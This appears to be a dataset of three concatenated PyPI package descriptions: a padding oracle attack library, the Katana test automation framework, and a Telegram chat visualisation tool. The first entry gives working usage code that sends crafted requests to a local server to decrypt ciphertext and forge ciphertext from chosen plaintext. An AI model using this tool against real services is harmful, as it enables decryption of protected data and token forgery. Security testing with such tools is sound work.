semvec/pypi-packages huggingface dataset:
padding-oracle-attack 0.1.0
a library for padding oracle attack
Requires Python: >=3.3

A library for padding oracle attack concurrently
---

Payload_model is a abstract class handling all details of padding oracle attack algorithm.
You should specify a subclass of payload_model and change some import methods. You can customize it to fit different environment.

[![](https://img.shields.io/pypi/v/padding-oracle-attack.svg)](https://pypi.org/project/padding-oracle-attack/)
[![](https://img.shields.io/pypi/pyversions/padding-oracle-attack.svg)](https://pypi.org/project/padding-oracle-attack/)

Usage
---
### Get clear text from cipher text
```python
from padding_oracle_attack import payload_model
import grequests
from grequests import request

class payload(payload_model):
    def padding_ok(self, resp:Response) -> bool:
        if resp.status_code == 200:
            return True
        else:
            return False

    def recover_fake_data(self, req:Request, fake_datas):
        for fake_data in fake_datas:
            if bytes.hex(fake_data) in req.url:
                return fake_data
        return None

    def make_request(self, fake_data) -> request:
        params = {
                "data": bytes.hex(fake_data)
            }

        return request("get", "http://127.0.0.1:5000", params=params)

if __name__ == "__main__":
    m = payload("3a10f84900818b1c439430600524fb0f00000000000000000000000000000000")
    m.run()
```
![record](https://github.com/lcark/padding_oracle_attack/raw/main/media/padding_snap.GIF)

### Fake cipher text via clear text
```python
...
# some code same as the former
...
if __name__ == "__main__":
    m = payload("3a10f84900818b", fake=True)
    m.run()
```
Result
---

![result](https://github.com/lcark/padding_oracle_attack/raw/main/media/result.png)

Save and Load session
---
When breaking down the execution(CTRL-C), it will save session to file 'padding-session.txt' automaticly.You can load session like below.
```python
payload = Payload(bytes.hex(exp), fake=True)
payload.load()
payload.run()
```

Installation
---
```bash
pip install padding-oracle-attack
```
katanaframework 1.2.0
Katana Framework is an open source Automation Framework

Katana is Warrior Framework’s web based case creation and execution tool. From Katana, users can create cases, suites, projects, input data files and testdata files. Cases, suites, projects, input data files and testdata files in Katana are web based forms that once saved, create the appropriate xml files. Katana also allows you to execute cases, suites, and projects from the execution app.

Install:
   pip install katanaframework 

Requires:
    Python 3.6 and above
       requests==2.21.0
       Django==2.1.2
       xmltodict==0.12.0
       python-ldap
       django_auth_ldap
       djangorestframework==3.10.3
       cryptography==2.9.2
       gcg==0.2.0
       termcolor==1.1.0
       psycopg2==2.8.5


To start the Katana Server :
        manage.py runserver

Links:
      Documentation: https://github.com/warriorframework/Katanaframework/blob/release-katana-1.0.0/docs/Katana%20User%20Guide%20-1.0.pdf 

      License      : http://www.apache.org/licenses/LICENSE-2.0

      Source       : https://github.com/warriorframework/Katanaframework
TeleVisuals 0.0.2
A package to help you visualize exports from telegram chats
Requires Python: >=3.6

# Introduction

The purpose of the package is to help you to visualize the chat messages from a Telegram Chat Group. It is still in development and the features are not extensive. As of now, there are 4 main features in this package (with hopes of more being added)

# Installation

```python
pip install TeleVisuals
```

# Usage

```python
from TeleVisuals import TeleVisuals as tv
```

# Functions

### Clean Data

```python
tv.chat_clean(json_file_path)
```

This function allows you to clean the json export from your telegram chat. The output is a cleaned pandas dataframe with your messages organised by "from", "time", and "messages". 

### Visualise most commonly used words and custom words

```python
tv.common_word(dataframe, no_of_words)
tv.custom_words(dataframe, list_of_words)
```

These functions allow you to visualise words used in your chat. The `common_word` function will allow you to select how many words you want to visualise while the `custom_words` function will allow you to input a list of words that you want to visualise. 

### Visualise user replies and user responses

```python
tv.user_talk(dataframe)
tv.user_replies(dataframe)
```

These functions allow you to visualise the number of times each user spoke and the number of times each user responded to another user. Good to see who is the most talkative one amongst your friends.

# Dependencies 

[Pandas](https://github.com/pandas-dev/pandas): Self-explanatory (who doesn't need pandas?)

[plotly.express](https://github.com/plotly/plotly_express): To enable the visualisations

[json](https://github.com/python/cpython/tree/master/Lib/json): To parse the json file from Telegram chat export